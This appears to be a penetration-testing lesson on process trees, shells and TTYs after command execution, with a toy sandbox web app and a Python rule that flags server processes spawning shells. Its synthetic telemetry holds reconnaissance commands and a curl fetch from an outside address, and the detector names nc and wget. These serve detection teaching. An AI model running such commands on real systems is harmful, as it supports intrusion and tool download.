Shells and Processes
When a report says "remote command execution", what has actually happened on the server? A process that should only answer web requests started another program, usually a shell, with the web server's identity, its working directory, its environment and whatever network connections it could make. Understanding that in operating-system terms (processes, parents and children, users, file descriptors, terminals) lets a tester describe impact precisely, keep their own actions minimal, and explain to defenders exactly what their telemetry should have shown. This lesson covers the concepts, shows a process tree produced by a toy service in your sandbox, and turns it into a detection rule.
Processes, system calls and privileges are introduced in Processes, System Calls and Privileges; this lesson applies them to what happens during and after exploitation.
The concepts
| Concept | What it means in a test |
|---|---|
| Process | a running program with a PID, a parent (PPID), a user and group identity, a working directory and environment variables. Code execution through a flaw runs as the vulnerable process: same user, same rights |
| Parent and child | fork/exec (Linux) or CreateProcess (Windows) start a child that inherits identity and environment. A web server process with a sh child is the classic sign of command execution |
| Shell | a command interpreter (sh, bash, cmd.exe, PowerShell). Flaws often run one command through a shell (sh -c "…"), which is why shell metacharacters matter in command injection |
| Standard streams | every process has stdin, stdout and stderr (file descriptors 0, 1, 2). A "shell session" is a shell whose streams are connected to a network socket instead of a terminal |
| TTY | a terminal device. Shells started by services have none (? in ps), so programs that need one (sudo password prompts, editors, su) behave differently; testers "upgrading" a shell to a TTY is a step defenders can see |
| Bind and reverse | where that socket comes from: the target listens (bind) or connects out (reverse). Egress filtering decides whether a reverse connection can leave the network |
| Session | the tester's handle on that process, in a framework or a plain listener; ending the session must end the process (see cleanup) |
A process tree in the sandbox
The toy service below is a ten-line web app on 127.0.0.1:8000. Its /report endpoint starts a background job through a shell, the way many real applications call external tools. Nothing here is an attack; it is what a successful command execution looks like from the operating system's point of view, which is the same picture whether the shell was started by design or through a flaw.
cat > app.py <<'PY'
import subprocess
from wsgiref.simple_server import make_server, WSGIRequestHandler
class Quiet(WSGIRequestHandler):
def log_message(self, *a): pass
def app(env, start):
if env["PATH_INFO"] == "/report":
subprocess.Popen(["sh", "-c", "sleep 3"]) # stands in for "the app ran a command"
start("200 OK", [("Content-Type", "text/plain")])
return [b"ok\n"]
make_server("127.0.0.1", 8000, app, handler_class=Quiet).serve_forever()
PY
python3 app.py &
for i in $(seq 50); do curl -s -o /dev/null http://127.0.0.1:8000/ && break; sleep 0.1; done
curl -s http://127.0.0.1:8000/report
sleep 0.3
echo "== process tree (user, terminal, command)"
ps -e --forest -o user,tty,args | grep -E 'python3 app.py|sh -c sleep|sleep 3' | grep -v -e grep -e bash
echo "== the service's identity and open sockets"
APP=$(pgrep -f 'python3 app.py')
grep -E '^(Uid|Gid):' /proc/$APP/status
ls -l /proc/$APP/fd | grep -c socket
kill %1ok
== process tree (user, terminal, command)
learner ? \_ python3 app.py
learner ? | \_ sh -c sleep 3
learner ? | \_ sleep 3
== the service's identity and open sockets
Uid: 1000 1000 1000 1000
Gid: 1000 1000 1000 1000
1
What the tree tells a tester and a defender:
- the shell (
sh -c sleep 3) is a child of the web application, runs as the same user (learnerhere;www-dataon a typical Linux web server), and has no terminal (?); - the service holds open sockets (its listening socket among them), and a child inherits open descriptors unless they are marked close-on-exec (Python marks its own descriptors that way by default; many C programs don't), one reason why services should not run commands through a shell at all;
- whatever the shell does, it does with the service's rights, no more. Getting more is privilege escalation, a separate step with separate evidence.
Turning the tree into a detection
Endpoint telemetry (Sysmon event ID 1 on Windows, auditd execve records or an EDR on Linux) records each process start with its parent. A simple and effective rule: alert when a server process (web server, application server, database, mail server) starts a shell or scripting interpreter. The events below are synthetic, in that shape.
events = [ # (time, host, user, parent image, child image, command line) - synthetic process-start telemetry
("10:02:11", "www", "www-data", "/usr/sbin/nginx", "/usr/sbin/nginx", "nginx: worker process"),
("10:14:40", "www", "www-data", "/usr/sbin/php-fpm8.1", "/bin/sh", "sh -c convert /tmp/up/1.png /tmp/out/1.jpg"),
("10:15:02", "www", "www-data", "/usr/sbin/php-fpm8.1", "/bin/sh", "sh -c id; uname -a"),
("10:15:09", "www", "www-data", "/bin/sh", "/usr/bin/curl", "curl -s http://203.0.113.9/x"),
("10:20:00", "ws17", "j.pham", "C:\\Windows\\explorer.exe", "C:\\Windows\\System32\\cmd.exe", "cmd.exe"),
("10:31:15", "files01","SYSTEM", "C:\\Windows\\System32\\inetsrv\\w3wp.exe", "C:\\Windows\\System32\\cmd.exe", "cmd.exe /c whoami"),
]
SERVERS = ("nginx", "apache2", "httpd", "php-fpm", "w3wp.exe", "java", "postgres", "sqlservr.exe")
SHELLS = ("/sh", "/bash", "/dash", "cmd.exe", "powershell.exe", "pwsh", "python")
ALLOWED = [("php-fpm", "sh -c convert ")] # known, reviewed behaviour of this app
def basename(p):
return p.replace("\\", "/").rsplit("/", 1)[-1]
for t, host, user, parent, child, cmd in events:
p, c = basename(parent), basename(child)
if any(s in p for s in SERVERS) and any(child.endswith(s.lstrip("/")) for s in SHELLS):
if any(a in p and cmd.startswith(b) for a, b in ALLOWED):
print(f"{t} {host:<8} allowlisted {p} -> {cmd}")
else:
print(f"{t} {host:<8} ALERT {p} -> {cmd} (user {user})")
elif p in ("sh", "bash") and c in ("curl", "wget", "nc", "ncat"):
print(f"{t} {host:<8} follow-up shell -> {cmd}")10:14:40 www allowlisted php-fpm8.1 -> sh -c convert /tmp/up/1.png /tmp/out/1.jpg
10:15:02 www ALERT php-fpm8.1 -> sh -c id; uname -a (user www-data)
10:15:09 www follow-up shell -> curl -s http://203.0.113.9/x
10:31:15 files01 ALERT w3wp.exe -> cmd.exe /c whoami (user SYSTEM)
The image converter is a reviewed, allow-listed use of a shell by the application. The id; uname -a shell is not: it is the first thing a person typing commands through a flaw usually runs. The curl to an outside address from that shell is the follow-up (downloading a tool) and would also be caught by egress monitoring. On files01, IIS's worker w3wp.exe running cmd.exe /c whoami as SYSTEM is a critical alert: the application pool runs with far more rights than it needs. In an announced test, this table is the blue team's half of the finding: which steps were detected, and how fast.
How it is prevented
- Applications should not call shells: use library functions, or
execve-style calls with argument lists (subprocess.run([...], shell=False)), never string concatenation intosh -c. - Run services as dedicated, unprivileged users (never
rootorSYSTEM), with systemd hardening (NoNewPrivileges=yes,ProtectSystem=strict,PrivateTmp=yes) or Windows virtual service accounts. - Restrict egress from servers to what they need, so a reverse connection or a tool download fails and is logged.
- Collect process-start telemetry with parent information, and keep the rule above (with a reviewed allow-list) in the SIEM.
Pitfalls
- Describing impact as "root" when it is the service user. The report states the exact identity, from
idorwhoami, and nothing more. - Upgrading shells, adding persistence, or leaving processes running to make the next day easier. All are out of bounds in a test unless explicitly agreed, and every one must be cleaned up.
- Assuming no TTY means no risk. Non-interactive command execution is full code execution with the process's rights.
Practice
- In the sandbox session, which line of the output would change if the app called
subprocess.Popen(["sleep", "3"])instead, and why is that better? - Add a rule to the detector for a database server process (
postgres) starting any child that is not itselfpostgres. Which real-world flaw class does it target?
Answers
- The
sh -c sleep 3line disappears:sleepbecomes a direct child of the app. Without a shell, metacharacters in arguments (;,|,$()) have no meaning, which removes the command-injection class for that call. - In the loop, add:
if p == "postgres" and c != "postgres": print("ALERT database spawned", cmd). It targets database features that run operating-system commands (for PostgreSQL,COPY … FROM PROGRAMby a superuser or a member ofpg_execute_server_program), which follow from SQL injection with excessive database privileges.
Test yourself
A flaw lets an attacker run a command through a web application. Whose rights does the command have?
- root's
- The web application's process user, e.g. www-data
- The attacker's own account
- No rights
Why does ps show '?' in the TTY column for the shell started by the service?
- The process is hidden
- It has no controlling terminal: services and their children don't
- It is a zombie
- It runs as root
Which detection rule catches command execution through a web application most directly?
- Failed logins
- A server process (web, app or database server) starting a shell or interpreter
- High CPU
- DNS queries
What is the most effective code-level prevention?
- Escaping quotes
- Not calling a shell: pass an argument list to the program directly
- Running as root
- Long timeouts